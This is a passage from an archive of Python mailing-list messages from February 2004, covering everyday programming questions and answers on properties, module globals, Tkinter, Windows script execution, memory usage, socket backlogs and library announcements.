...                     raise ValueError("x must be >= 0")
...             self._x = x
...     x = property(getX, setX)
...
>>> f = Frank(3)
>>> f.x = 2
>>> f.x = -2
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "<stdin>", line 8, in setX
ValueError: x must be >= 0

The main advantage is cleaner code, which will become more obvious as the
number of special attributes increases. Also, checked and normal attribute
access is transparent to the client.

Peter



From FBatista at uniFON.com.ar  Thu Feb 26 14:50:28 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Thu, 26 Feb 2004 16:50:28 -0300
Subject: How to obscure a password
Message-ID: <A128D751272CD411BC9200508BC2194D0338369E@escpl.tcp.com.ar>

#- > That will imply to the user to enter his password 
#- everytime (that's what I'm
#- > trying to avoid).
#- 
#- That's what sessions are for.  Don't you have session support?
#- 
#- The only time one should ever need to re-enter a password is when you
#- are allowing them to *change* their current password.  And even then
#- hashing should still be done before you encrypt the new password with
#- the old one, so that it can _never_ be seen in the clear on 
#- the server.

Sessions? I'm not serving Web. It's a simple program with a GUI that runs
locally.

.	Facundo



From bignose-hates-spam at and-benfinney-does-too.id.au  Thu Feb 19 04:06:43 2004
From: bignose-hates-spam at and-benfinney-does-too.id.au (Ben Finney)
Date: 19 Feb 2004 19:56:43 +1050
Subject: truly global variables
References: <f046efac.0402190047.ee56994@posting.google.com>
Message-ID: <slrnc390a9.iu4.bignose-hates-spam@iris.polar.local>

On 19 Feb 2004 00:47:13 -0800, ketulp_baroda at yahoo.com wrote:
> I want a variable such that if i change its value in any module then
> it should be reflected in other modules too.

Fortunately, this nightmare is not possible in Python.

What you should be doing is implementing the variable in a module that
is imported wherever that variable is needed.  This allows you more
control over how the variable is handled; you know there is only one
place where the variable is declared, and any usage of the variable is
explicitly preceded by the module name.

One common place where people think they want global variables but
really want a common module, is configuration variables.  Simply make a
single module whose specific purpose is to hold the configuration
variables for your application, then use the config variables via that
module:

    import AppConfig
    open_screen_window( AppConfig.window_size )
    AppConfig.preferred_hostname = None

The next step would be to make an AppConfig class that handles things
like persistence of config changes, but that may be more complexity than
you need.

-- 
 \       "As the most participatory form of mass speech yet developed, |
  `\    the Internet deserves the highest protection from governmental |
_o__)                intrusion."  -- U.S. District Court Judge Dalzell |
Ben Finney <http://bignose.squidly.org/>


From wrobell at ite.pl  Sat Feb  7 08:13:56 2004
From: wrobell at ite.pl (wrobell)
Date: Sat, 7 Feb 2004 14:13:56 +0100
Subject: ANN: bazaar 0.99.0
Message-ID: <20040207131356.GA23816@pred.dk.org>

Bazaar is an easy to use and powerful abstraction layer between
relational database and object oriented application

    http://www.nongnu.org/bazaar/

                                                                                                                               
Features:

- easy to use - define classes and programmer is ready to get and modify
  application data in object-oriented way (no additional steps such as
  code generation is required)

- object-oriented programing and feel - using classes, objects and references
  instead of relations, its columns, primary and foreign keys

- object-oriented database operations:
  - add, update, delete
  - get and reload
  - easy object finding with support for SQL queries
  - association data load and reload

- application class relationships:
  - one-to-one, one-to-many and many-to-many
  - uni-directional and bi-directional

- application objects and association data cache integrated with Python
  garbage collector:
  - full - load all rows at once from relation
  - lazy - load one row from relation

- configurable - connection string, DB API module, class relations, object and
  association data cache types, etc.
                                                                                                                               

Requirements:
    - Python 2.3
    - Python DB API 2.0 module with ``format'' and ``pyformat'' parameter
      style support (tested with psycopg 1.1.10)
    - RDBMS (tested with PostgreSQL 7.4)
                                                                                                                               

This is free software distributed under GNU Lesser General Public
License (LGPL). Download it from project's page

    http://savannah.nongnu.org/projects/bazaar/


    wrobell <wrobell at ite.pl>
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From pinard at iro.umontreal.ca  Tue Feb 17 18:06:55 2004
From: pinard at iro.umontreal.ca (=?iso-8859-1?Q?Fran=E7ois?= Pinard)
Date: Tue, 17 Feb 2004 18:06:55 -0500
Subject: A Python equivalent of cfengine?
In-Reply-To: <zzxXb.3076$tU6.4660@reggie.win.bright.net>
References: <zzxXb.3076$tU6.4660@reggie.win.bright.net>
Message-ID: <20040217230655.GA14489@alcyon.progiciels-bpi.ca>

[Kent Tenney]

> Any recommendations for automating administrative tasks using Python?

I did use `cfengine' for a good while, before I decided that Python
would serve me better for the same kind of tasks.  It took me two or
three full time weeks for converting all of my `cfengine' setup to
Python, and in my case at least, this was a good move to do.

However, my setup was not written with publication in head, and I did
not retain from `cfengine' the things I did not use nor need.  Moreover,
since I wrote it for me, I was not shy to push many of my own habits in
the code.  What required the most attention, if I remember well, was
proper sorting and merging of all requested actions for efficiency, for
example, a single pass through the file system did it all.  Another
point was proper logging of actions (for debugging or otherwise), with
due references to the controlling files: and this proved very useful.
It was easy to design all controlling files so they use Python syntax,
this gave me a tremendous power and flexibility for almost free.

Surprisingly, the result was not significantly slower than `cfengine'
in practice, teaching me that Python interpretation overhead merely
disappears in I/O bound contexts.  The overall result was immensely more
readable than `cfengine' (I often had to dive in them to understand
behaviour or correct bugs), and consequently, more maintainable.

Over years, I got my configuration engine to take care of many things
that would likely escape `cfengine' capabilities, like firewall build-up
automatically derived from (Python) descriptions of the network topology
and distribution of services, easy fetching and deployment for various
external tools we depend upon, and other such things, so it does not
much look like `cfengine' anymore.

All in all, I found that Python is a marvellous framework for automatic
system-administrative tasks, and shaping this framework is not that
difficult, even if it requires some work.  For me, it was much worth it.

In these years, I do not do much real system administration anymore.
But in the team I work in, the main system administrator, who saw my
framework, understood that it was not that difficult to do, and prefer
making his own (in Python, of course), at least as a way to make sure he
understands everything inside out.  That's very OK! :-)

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard



From tjreedy at udel.edu  Tue Feb 24 11:42:32 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 24 Feb 2004 11:42:32 -0500
Subject: Thoughts about Python
References: <15c2d03b.0402240311.395f5382@posting.google.com>
Message-ID: <c1futm$7gu$1@sea.gmane.org>


"Marco Aschwanden" <PPNTWIMBXFFC at spammotel.com> wrote in message
news:15c2d03b.0402240311.395f5382 at posting.google.com...
> I have collected those thoughts. I am sure there are many discussions
> on the "problems" mentioned here.

Yes, there have been.  Do read some if you are really interested.

>*** Problem: clumsy properties for classes

The problem is currently under discussion.  Your fix is based on thinking
'self' to be a keyword, which it is not, instead of a usage convention for
English language programmers.  Python is not <language x>.

> class c (object):
>     def staticMethod(arg1, arg2, ...): pass
>         # self is not handed in... hence I can't use the instance vars

Yes it is and yes you can if this method called on an instance.  You have
simply called the instance 'arg1' instead of 'self'.

>     def normalMethod(self, arg1, arg2, ...):
>         pass

If you follow this by normalMethod = staticmethod(normalMethod), then
'self' is *not* an instance.
Static methods are very rare.  You left out a proposal for the more common
and more useful classmethod.

...
> Many builtins are not necessary.

Many people agree.

> To name a few: min / max / len

But people wildly disagree on which should be axed.

> This functions should be defined on the class:

This syntax uniformatizing suggestion comes up about once a year.  It
overlooks the fact that uniformity is lost as soon as a user writes a
sequence function (for instance, variance()).  I know, we could abolish
functions and only have methods.  But if you want that, choose a different
language.

Even more, It also overlooks the tremendous advantages of generic
programming with Python.  If I write an iterable type, it can be used with
any sequence function, current or future.  Conversely, if I write a
sequence (iterable) function, it can be used with any iterable object,
current or future -- without subclassing or access to source code.  Your
proposed handcuff of requiring a specifc method for each type - function
combinatin leads to an M*N explosion of code and coding work.

Quiz: how would you rewrite map(len, ['abc', (1,2,3,4), [5,6]]) if len()
were a method?

>classes start with an uppercase letter:
> myList = List()

This appears to be a convention or rule you learned from another language.
Though some Python programmers follow it, tt is not part of Python.

Terry J. Reedy






From tjreedy at udel.edu  Thu Feb 26 21:21:37 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Thu, 26 Feb 2004 21:21:37 -0500
Subject: Running insecure python code
References: <hQq%b.41604$BD3.8026233@juliett.dax.net>
Message-ID: <c1m9jh$dso$1@sea.gmane.org>


"Noen" <not.available at na.no> wrote in message
news:hQq%b.41604$BD3.8026233 at juliett.dax.net...
> Im developing a game where the players will program their equipment with
> python. Are there any ways to run insecure code?

safely, without letting

 > clients mess with the server-code through their own code, or even DOS
the box
> by using up too much memory.

There have been several threads on this topic.  Quick answer: nothing as
good as you would want.  Stackless, with its tasklets, may be your best bet
once updated to run with 2.3.3.

Terry J. Reedy






From nospam at nospam.org  Wed Feb 18 18:11:47 2004
From: nospam at nospam.org (Jeem)
Date: Wed, 18 Feb 2004 23:11:47 GMT
Subject: How does one get current variable mem usage?
Message-ID: <TiSYb.2232$Nz2.45717@news.itd.umich.edu>

I'm seeking to tune the memory usage of a python program, having discovered
unexpected swapping.  I would expect that there would be some way to ask the 
interpreter for the total memory usage of all currently live objects, or
even of a specified object.  If such means exist, I haven't found them in
the Python 2.2.2 documentation.  I'm currently making do by reading the
contents of /proc/PID/statm, but that includes not only the interpreter
itself but also space requested from the operating system, but currrently
unused for live variables, and it seems not to go down much when large objects
are killed, e.g. by making them unreachable with varname=""; there are no
obvious other references to the object formerly associated with varname.

Any ideas?


From bh at intevation.de  Wed Feb 11 06:08:55 2004
From: bh at intevation.de (Bernhard Herzog)
Date: Wed, 11 Feb 2004 12:08:55 +0100
Subject: hide sourcecode
References: <bvtm5f$pgq$00$1@news.t-online.com>
	<bvtpsp$126$1@news.service.uci.edu>
	<mailman.1261.1076006359.12720.python-list@python.org>
	<bvu6m3$cg1$1@news.service.uci.edu>
	<84fc4588.0402052351.5fc254ae@posting.google.com>
	<40294aa5$7@giga.realtime.net> <6q4qtyc6jt.fsf@salmakis.intevation.de>
	<mailman.1456.1076492272.12720.python-list@python.org>
Message-ID: <6qvfmdc1q0.fsf@salmakis.intevation.de>

"Mike C. Fletcher" <mcfletch at rogers.com> writes:

> Bernhard Herzog wrote:
> ...
>
>>As usual Python comes with batteries included:
>>
>># -*- coding=rot13 -*-
>>
>>cevag "uryyb ebg13 jbeyq"
>>
> cevag h"uryyb ebg13 jbeyq"
>
> Don't you mean?

Yes.  I had played around with that a few months ago and should have
checked the code again before posting.

  Bernhard

-- 
Intevation GmbH                                 http://intevation.de/
Skencil                                http://sketch.sourceforge.net/
Thuban                                  http://thuban.intevation.org/


From jcarlson at nospam.uci.edu  Fri Feb 20 01:03:21 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Thu, 19 Feb 2004 22:03:21 -0800
Subject: #! Question
In-Reply-To: <aedZb.31082$5W3.11642@nwrddc02.gnilink.net>
References: <30875970.0402191650.57dfe998@posting.google.com>
	<aedZb.31082$5W3.11642@nwrddc02.gnilink.net>
Message-ID: <c14843$1dl$1@news.service.uci.edu>

> You should have python.exe in you path. In any event, the space in 
> "Program Files" is sure to cause trouble. Put anything with spaces 
> inside double quotes.
> #!"C:/Program Files/Python2.3.3/python.exe" will work.

Not on windows.  On windows, no amount of #! trickery will get you 
anywhere (unless you are using bash, sh, etc. in windows via cygwin). 
For good or evil, windows uses file-extension associations.  That is, in 
order to be able to open a file that is not an executable, shortcut, or 
batch file (exe, com, scr, pif, lnk, bat, cmd, etc.), Windows must have 
the proper association for that file type.

 From windows explorer, double-click on the .py file.  When it pops up 
with, "What should I open this with?" select the the proper python 
executable, and you are home free.

  - Josiah


From __peter__ at web.de  Mon Feb 23 02:37:49 2004
From: __peter__ at web.de (Peter Otten)
Date: Mon, 23 Feb 2004 08:37:49 +0100
Subject: Error in 2.2.1 Tkinter? (was: limiting text input in Tkinter
	Entry widget)
References: <4038d6c2$0$49821$1b2cd167@news.wanadoo.nl>
	<103ho4p6m98gs97@news.supernews.com>
	<103i0ij3hnd4n76@corp.supernews.com>
	<103iep99nb0k9ed@corp.supernews.com>
Message-ID: <c1cakd$jvs$01$1@news.t-online.com>

Cameron Laird wrote:

[Doesn't work:]

>>  def validate(name, index, mode):
>>    value = root.getvar(name)
>>      # Truncate the entry text to its first four characters.
>>    root.setvar(name, value[0:4])
>>
>>  my_variable = Tkinter.StringVar()
>>  my_variable.trace_variable('w', validate)

[Works:]

>   def validate(name, index, mode):
>     value = my_variable.get()
>     my_variable.set(value[0:4])

A look into Tkinter.py reveals that Variable.set()/get() is implemented in
terms of tkapp.globalsetvar()/globalgetvar(). Translating it into your
example:

def validate(name, index, mode):
    value = root.tk.globalgetvar(name)
    root.tk.globalsetvar(name, value[0:4])

So the problem seems to relate to different Tcl namespaces. I didn't dig any
deeper.

Peter

PS: I used Python 2.3.3


From crescent_au at yahoo.com  Tue Feb 10 12:21:09 2004
From: crescent_au at yahoo.com (Ben)
Date: 10 Feb 2004 09:21:09 -0800
Subject: where does Python stand?
References: <d99e1341.0402050505.226a01c8@posting.google.com>
	<6ee58e07.0402051148.25add90e@posting.google.com>
	<d99e1341.0402051930.57985621@posting.google.com>
	<bvv37j$8or$1@news.service.uci.edu>
	<d99e1341.0402061439.1f8cebc9@posting.google.com>
	<c01p9a$olv$1@news.service.uci.edu>
	<d99e1341.0402070536.25157d73@posting.google.com>
	<c03its$emc$1@news.service.uci.edu>
	<d99e1341.0402080236.79d3d939@posting.google.com>
	<c06432$no7$1@news.service.uci.edu>
Message-ID: <d99e1341.0402100921.45a42562@posting.google.com>

Josiah Carlson <jcarlson at nospam.uci.edu> wrote in message news:<c06432$no7$1 at news.service.uci.edu>...
> 
> Honestly, I don't think you are capable of writing this gallery 
> software, because you can't even decide what language to write it in. 
> People have offered both Python and PHP more than a few times, and you 
> haven't even bothered to listen to anyone.
> 

Yes, I can't decide... That's why I'm posting!! If I knew everything,
I'd not be posting here... And I am listening to people for their
valuable suggestions... You are losing a point here.. And I am capable
of writing this "gallery software" due to the fact that I got some
nice replies from this post.. :)

> I'm no longer going to reply to this thread.  Good bye and good luck.

Fair enough... I don't need you to reply if you can't even understand
why I'm posting here.. I'm posting because I wanna know and learn...
If people can't cheer up someone who is willing to know something,
then there is no need to reply.. That will save a lot of time... Thank
you!

Ben


From tim.one at comcast.net  Fri Feb 20 13:37:00 2004
From: tim.one at comcast.net (Tim Peters)
Date: Fri, 20 Feb 2004 13:37:00 -0500
Subject: Linebreak problem on the interactive interpreter Win2k
In-Reply-To: <c14ccl$hvb$1@sea.gmane.org>
Message-ID: <LNBBLJKPBEHFEDALKOLCAEMGJAAB.tim.one@comcast.net>

[Jonas Galvez]
> A few days ago I posted about a problem I was having on Win2k,
> regarding a SyntaxError error on the interactive interpreter to
> anything I typed. The thread is located here: tinyurl.com/2kk7b
>
> I've mode some progress on this. I noticed that the problem in
> fact lies on the line break. If I place a # on the end of the line,
> Python has no problem interpreting it:
>
> C:\>python
> Python 2.3.3 (#51, Dec 18 2003, 20:22:39) [MSC v.1200 32 bit (Intel)] on
win32
> Type "help", "copyright", "credits" or "license" for more information.
> >>> print "This works" #
> This works
> >>>
>
> However:
>
> >>> print "This doesn't work"
>   File "<stdin>", line 1
>     print "This doesn't work"
>                              ^
> SyntaxError: invalid syntax
> >>>
>
> The problem is that Python is not interpreting "\r\n" correctly:
>
> >>> import sys; sys.last_value.text #
> 'print "This doesn\'t work"\r\n'
> >>>
>
> Can I change this anyhow?

You cannot, but you shouldn't need to.  At least thousands of people use a
DOS-box Python shell under Win2K (for example, me) without any problem.  So
there's something unique about the way your Win2K is set up (unique == I
don't recall anyone reporting this before, and Python has run on Windows for
more than a decade).

Maybe IDLE will work for you (you already have it -- look in your Python 2.3
Start menu).  That's generally a lot nicer than using a DOS-box shell
anyway.

BTW, I would *expect* what you're seeing if (and only if) you have an
environment variable set with name PYTHONUNBUFFERED (same as Python's -u
option).  That can't be used with interactive mode on Windows.




From phil.hornby at accutest.co.uk  Mon Feb  2 09:03:08 2004
From: phil.hornby at accutest.co.uk (Phil Hornby)
Date: Mon, 2 Feb 2004 14:03:08 -0000
Subject: Dynamic Linking
In-Reply-To: <20040202134044.GA26499@unpythonic.net>
Message-ID: <NFBBIBBEGKCGCEGNDLKGMEKCDNAA.phil.hornby@accutest.co.uk>

Jeff,

Thanks for the insight...it was more a general wonderment...as I have
written extensions in C for a while but never tried it...but in other
systems I would NEVER dream of using static linking as it would generally
cause me more hassle than help. The big advantage I see with the ability to
link dynamically is that you can improve functionality/implement fixes in a
plug-in manner instead of having to recompile your entire app. Which is a
very useful feature especially if you have customers who you need to keep
up-to-date over the web as it minimises the downloads required.

I can see that having the freedom to change/augment the implementation is a
powerful arguement against giving this compatibility... Maybe at some point
people will feel that the implementation is mature enough for that level of
code freezing and at that point dynamic linking will become a realistic
possibilty.

Nice to have the insight into why it is as it is though...

--
Phil

"Requirements - what are they I just hack something together that does what
I think they want" ;)

>> I am just wondering if anyone has played with dynamically linking to the
>> pythonXX.dll??
>
> Historically, nobody has been interested in making the kind of committment
> that binary-level compatiblity between Python shared library images of
> different x.y versions.  Such a decision would be viewed as preventing
> necessary change to Python's internals---for instance, either the size
> and layout of all builtin types would be frozen, or access to any fields
> would require calls to shared library functions.  It's your choice
> whether to hurt either performance or the freedom of implementation
> details of future Python releases.
>
> If you're in favor of this kind of compatibility, as opposed to the
> source-level compatibility that Python maintains for 90+% of code
> between releases, then it may be up to you to make a convincing
> case for it.





From sdfATexpertuneDOTcom  Tue Feb 24 10:39:50 2004
From: sdfATexpertuneDOTcom (Scott F)
Date: Tue, 24 Feb 2004 15:39:50 -0000
Subject: Python scripts in IIS
References: <LIr_b.5246$yZ1.386@newsread2.news.pas.earthlink.net>
	<403A5840.CE02049@engcorp.com>
	<f0u_b.6405$aT1.4998@newsread1.news.pas.earthlink.net>
	<403A7103.7F1CE0D8@engcorp.com>
	<aHv_b.6560$aT1.3079@newsread1.news.pas.earthlink.net>
	<Xns949954A8E8DA6sdfexpertunecom@216.168.3.44>
	<6DJ_b.7904$aT1.2403@newsread1.news.pas.earthlink.net>
Message-ID: <Xns9499624F0AF62sdfexpertunecom@216.168.3.44>

"Jon Cosby" <jcosby at nospam.net> wrote in
news:6DJ_b.7904$aT1.2403 at newsread1.news.pas.earthlink.net: 

> Thanks. I had left out the trailing arguments. What is "%s" for,
> anyway? 

I don't know.  With MS I usually don't bother finding out if I can get 
things to work.  

Scott


From cappy2112 at yahoo.com  Fri Feb 27 20:22:10 2004
From: cappy2112 at yahoo.com (Tony C)
Date: 27 Feb 2004 17:22:10 -0800
Subject: python newbie having strangeness
References: <of4s30p4a2nq964bjb0kcb25ocrv5kj2sk@4ax.com>
Message-ID: <8d3e714e.0402271722.7486f441@posting.google.com>

Joe F. Blow <dood at dood.com> wrote in message > count=binlist=0

this may be of some use in converting from hex to decimal

file=open("file.text")
WholeFile= file.readlines()
WholeFile.close()

# now, you have to search for the location of the decimal numbers
# I can't specify how to do that, without knowing what your input file looks #like

#but once you have a string as in

HexStr ="123ABCDE" #implied is that this string was read from a file
(you MUST strip off any leading 0x, or trailing H or h, before proceeding)

You can convert it to a decimal string by
DecStr = "%lu" % long(HexStr,16)
and to an integer by
DecNum = long(DecStr)


From and-google at doxdesk.com  Tue Feb 17 07:00:46 2004
From: and-google at doxdesk.com (Andrew Clover)
Date: 17 Feb 2004 04:00:46 -0800
Subject: XML Parsing
References: <slrnc2t6bv.4q2.tyler@darkstar.tylere.com>
	<2c60a528.0402150158.e1768e4@posting.google.com>
	<Gz3Yb.3921$Cd6.177581@news20.bellglobal.com>
Message-ID: <2c60a528.0402170400.19b78cf8@posting.google.com>

Chris Herborth <chrish at cryptocard.com> wrote:

> Ain't standards great? ;-)

Heh. Quite so, although to be fair cDomlette and FtMiniDom don't actually
claim to be full DOM implementations.

It was frustration with this rather uneven state of affairs that led me
to roll my own. Speaking of which, I'm happy to announce that pxdom
1.0 [final] has been released:

  http://www.doxdesk.com/software/py/pxdom.html

This implements the February 2004 Proposed Recommendations for DOM Level
3 Core/XML and Load/Save completely (except for the optional external
entity support, which will be coming in 1.1 [beta], and optional DTD
validation, which is unlikely to happen any time soon I'm afraid.)

Hurrah!

-- 
Andrew Clover
mailto:and at doxdesk.com
http://www.doxdesk.com/


From dyoo at hkn.eecs.berkeley.edu  Wed Feb  4 14:16:37 2004
From: dyoo at hkn.eecs.berkeley.edu (Danny Yoo)
Date: Wed, 4 Feb 2004 11:16:37 -0800 (PST)
Subject: ANN: Baypiggies meeting for Thursday, February 12, 2004
In-Reply-To: <Law10-F25J85nxAnIqz000079f6@hotmail.com>
Message-ID: <Pine.LNX.4.44.0402041110070.23329-100000@hkn.eecs.berkeley.edu>


Hi everyone,

Let me add abstract information to the initial announcement for this
month's Baypiggies meeting:

---

When: Thursday, February 12, 2004
Where: Carnegie Institute of Washington at Stanford University
Agenda: Multi-threaded Anti-Spam Shareware Application
Speaker: Dennis Reinhardt, DAIR Computer Systems


This is progress and status report on SpamAI, a commercial anti-spam
shareware application, implemented in Python and first reported to
BayPiggies in Feb. 2002. The technical approaches and experience with
packaging, updating, and supporting a ready to run Python distribution are
discussed. This app hosts multiple client and server threads having both
email and web protocols. The internal thread and process tree to support
this are reviewed. as well as the object and module architecture.


Dennis Reinhardt has been designing computer hardware and software since
graduating from MIT with dual degrees in 1965 and 1966. He was previously
a Senior Architect at Intel and is now owner of DAIR Computer Systems. He
was chair of the Hot Chips 8 conference and of the Santa Clara Valley
Chapter of the IEEE Computer Society. He holds 7 US patents. He was
elected to the board of the 1300+ member Association of Shareware
Professionals for a 2-year term starting Jan. 1, 2004.


For driving directions and more information about Baypiggies, please feel
free to visit:

    http://www.baypiggies.net




From peter at engcorp.com  Mon Feb  9 15:18:04 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 09 Feb 2004 15:18:04 -0500
Subject: A Simple Conference Utility Program?
References: <mailman.1301.1076080762.12720.python-list@python.org>
Message-ID: <4027EAFC.CBD9FF64@engcorp.com>

Steve Holden wrote:
> 
> Just a quickie.

And apparently too much even at that. ;-)

> Suppose we have a number of registered delegates for a conference, and
> we want to publish a list of the names of only those who confirm, by
> sending an email to a specific address, that they wish their names to be
> published.
> 
> Obviously emails that do not come from an address registered in the
> database should be ignored. We can maybe ignore the risk of spamming,
> though any anti-spam measures to make the email address more secure
> would be useful. [Next year we'll have them choose passwords when they
> register...]
> 
> Given that all data can comfortably be held in memory, and starting with
> a list of (name, email, False) triples, how much Python does it take to
> maintain and publish a list of confirmed delegates?
> 
> [name may actually be (firstname, lastname)].

I find the question a little vague, but I'm replying anyway in the hopes
that it might inspire a little more discussion here.

Steve, would this be an appropriate topic for a mini-sprint or at least
a brief requirements analysis session at the convention itself?  Or were
you hoping to get it in place for this year?

What does "publish" mean to you?  On paper?  To the web?  Don't care?

Are you talking about manually taking the emails and enter the confirmations
in a "database" (i.e. text file)?  Or having Python retrieve and harvest 
the emails itself?  Or act as the mail server?  Or ?

At first glance, the answer (to the "how much Python" question) would seem
to be just "not much!" but I can't see that that helps you much, and it
seems obvious enough that either I'm missing something, or you didn't
communicate what you had in mind well enough.

-Peter


From this at is.for.spambot  Wed Feb 11 16:47:58 2004
From: this at is.for.spambot (Benjamin Han)
Date: Wed, 11 Feb 2004 16:47:58 -0500
Subject: server bootstrapping upon connection (WARNING: LONG)
References: <ef08387c.0402100854.7c03b60c@posting.google.com>
	<86fzdiydpu.fsf@stronzo.brainbot.com> (null) (null)
	<2004021016361216807%this@isforspambot>
	<86k72uzfih.fsf@stronzo.brainbot.com>
	<2004021019594716807%this@isforspambot>
	<c0d5gg$u0m$1@absinth.dialog.net.pl>
	<2004021111431416807%this@isforspambot>
	<402A876A.2F5BA1D7@hotmail.com>
Message-ID: <2004021116475816807%this@isforspambot>

On 2004-02-11 14:50:02 -0500, Alan Kennedy <alanmk at hotmail.com> said:

> [ralf at brainbot.com]
>>>>> I just wanted to say, that even if the server is
>>>>> listening on that port, that connection attempts may fail.
> 
> [Benjamin Han]
>>>> How is it possible? Could you explain a bit more?
> 
> [Krzysztof Stachlewski]
>>> Your server may be accepting connections slower than
>>> the speed at which new connections are coming.
>>> In such situation your operating system maintains a list
>>> of those awaiting connections. You can control the length of
>>> this list with the "backlog" parameter of the "listen" function.
>>> If the list is full, new connections may simply be dropped
>>> as if the server was not listening at all.
> 
> [Benjamin Han]
>> Thanks for the tip - the default queue size is 5. I've since changed it
>> into 100 (much more than what it actually needs), but the original
>> problem remains.
> 
> Another quick point: even if you set the backlog to 100 connections,
> that only gives you 3.3333r seconds of grace before the backlog of
> connections fills up, given the "up to 30 connections/second" you
> mentioned in another message.
> 
> The 101st client to attempt a connect() will fail, if the server
> doesn't start accept()ing connections before the backlog fills up.
> 
> HTH,

The server is threaded, so it only takes fractions of a sec to finish 
off a request. Actually from the log once the server is up there is 
nothing I can see which could fill the entire queue (even if with a 
much smaller size).

My hunch is that the problem is somewhere else. First I can't still 
account for the discrepancy between the server log file and ps log 
file: the former told me only one server instance has been started, but 
the later showed from time to time a second instance had indeed been 
fired up (with state "RV" listed in the log file).

BTW I use this simple line in bash to collec the ps log:

while [ '1' = '1' ] ; do ps awx | grep python | grep -v grep>> ps.log ; 
echo --- >> ps.log ; done

I don't suppose this could interfere anything?



From max at NcOviSsPiAoMntech.com  Thu Feb 19 09:46:31 2004
From: max at NcOviSsPiAoMntech.com (max khesin)
Date: Thu, 19 Feb 2004 14:46:31 GMT
Subject: GUI application death catcher?
In-Reply-To: <lcisi4ezli.fsf@gaffa.mit.edu>
References: <lcisi4ezli.fsf@gaffa.mit.edu>
Message-ID: <b%3Zb.151298$cM1.29363457@twister.nyc.rr.com>

I am not sure why you want your error handler to be so complicated that 
it has to be coupled with the main program's code. Did you try PyCrash?


From deets_noospaam at web.de  Thu Feb  5 17:12:20 2004
From: deets_noospaam at web.de (Diez B. Roggisch)
Date: Thu, 05 Feb 2004 23:12:20 +0100
Subject: Custom operator
References: <2066c50.0402051336.1e8e7ee4@posting.google.com>
Message-ID: <bvuf44$o0h$07$2@news.t-online.com>

mathias wrote:

> I would like to define a custom operator in Python.
> (It is not about overloading an existing operator but about
> defining special new operators)
> 
> Is this possible without deeply manipulating the Python code?
> 
> Are side-effects to be expected?
> 
> What about operator precedence?
> 
> Can one define an operator to be right- or left -associative?

AFAIK thats part of the python grammar - so you can't do it. If your really
need such stuff, you might be able to create a custom language, or a
preprocessor.

What do you actually want to introduce?

-- 
Regards,

Diez B. Roggisch


From sross at connectmail.carleton.ca  Thu Feb 19 21:01:15 2004
From: sross at connectmail.carleton.ca (Sean Ross)
Date: Thu, 19 Feb 2004 21:01:15 -0500
Subject: Generating a large random string
References: <4034D506.2E37519A@netsurf.de> <7xsmh6a7cd.fsf@ruckus.brouhaha.com>
	<RpdZb.10783$Cd6.717545@news20.bellglobal.com>
	<7x65e2ikqi.fsf@ruckus.brouhaha.com>
Message-ID: <zTdZb.11018$Cd6.724593@news20.bellglobal.com>

"Paul Rubin" <http://phr.cx at NOSPAM.invalid> wrote in message
news:7x65e2ikqi.fsf at ruckus.brouhaha.com...
> "Sean Ross" <sross at connectmail.carleton.ca> writes:
> > I'd be interested to see how
> >
> > s = open("/dev/urandom").read(3000)
> >
> > compares, and, if better, whether something similar can
> > be done on Windows.
>
> On Linux, this is almost instantaneous.  Reading 1 megabyte takes
> under a second on my 700 mhz P3.

And when you've done

s = open("/dev/urandom").read(1000000)

is s a string containing one million letters [a-zA-Z] and no other
types of characters, as the OP is looking for?

I've never used /dev/urandom, so I don't know what kind of stuff
is being read from there - but I suspect further processing would
be needed to meet the OP's requirements. I'll check it out.

Thanks
Sean




From manders2k_NOSPAM at yahoo.com  Wed Feb  4 11:54:35 2004
From: manders2k_NOSPAM at yahoo.com (manders2k)
Date: 4 Feb 2004 08:54:35 -0800
Subject: different string representation (buffer gap)
References: <ddcff747.0402030909.49343c44@posting.google.com>
	<bvppt5$81a$1@news.service.uci.edu>
Message-ID: <ddcff747.0402040854.20c9bf47@posting.google.com>

Josiah Carlson <jcarlson at nospam.uci.edu> wrote in message news:<bvppt5$81a$1 at news.service.uci.edu>...
> My advice: find some pre-existing editor component and adapt it to suit 
> your needs.  Writing an editor component, whether it be for a GUI or 
> console, is a pain in the ass.

:-)  It might be a pain in the ass, but it sounds like the most
edifying (and probably the most fun) part of the process to me.

Reading up on what's involved, getting a basic editor put together
sounds actually quite easy.  A few tens of hours of work, maybe. 
Making the editor feature-rich, extending it in a substantial way,
well doesn't sound hard just work-intensive.

Thanks for the pointers though...


From martin at v.loewis.de  Sat Feb  7 03:24:22 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 07 Feb 2004 09:24:22 +0100
Subject: DeprecationWarning: Non-ASCII character '\xc0'
In-Reply-To: <788bd2d4.0402061430.5d240743@posting.google.com>
References: <788bd2d4.0402061430.5d240743@posting.google.com>
Message-ID: <c027be$389$07$1@news.t-online.com>

ahsan Imam wrote:
> I am not sure what encoding to use. I am not sure where to look. I
> picked one out of the documentation.

I recommend you avoid using non-ASCII characters in source code in
this specific case.

>     '&#192;':'A', '<\\\#203>':'A', '&Agrave;':'A', '?':'A',

Here, ? is a non-ASCII character. If you copy-and-past this
to a Python session, and do

 >>> ord("?")
192

you find that it really is the character with the byte value
192. So reformulate the line above to

      '&#192;':'A', '<\\\#203>':'A', '&Agrave;':'A', chr(192):'A',

If you change all lines in this respect, you won't need an
encoding declaration anymore, as your source code is plain ASCII.

Regards,
Martin



From peter at engcorp.com  Mon Feb 23 17:05:58 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 23 Feb 2004 17:05:58 -0500
Subject: Library for handling GNU parameters
References: <c1dspf$8o5$05$1@news.t-online.com>
Message-ID: <403A7946.378FE946@engcorp.com>

Florian Lindner wrote:
> 
> is there a python library available for handling GNU parameters. For
> example:
> 
> prog --filename=foo.bar   is the same as  prog -f foo.bar
> 
> or
> 
> prog --execute   ==  prog -e
> 
> I look for a library for parsing these string and represent the values in a
> list.

The standard library module getopt can do that, at least for the sort
of example you show, and I suspect the newer standard library module
optparse could also handle it (but haven't tried myself).

-Peter


From n4482 at klaff.org  Thu Feb 19 13:31:03 2004
From: n4482 at klaff.org (Dave)
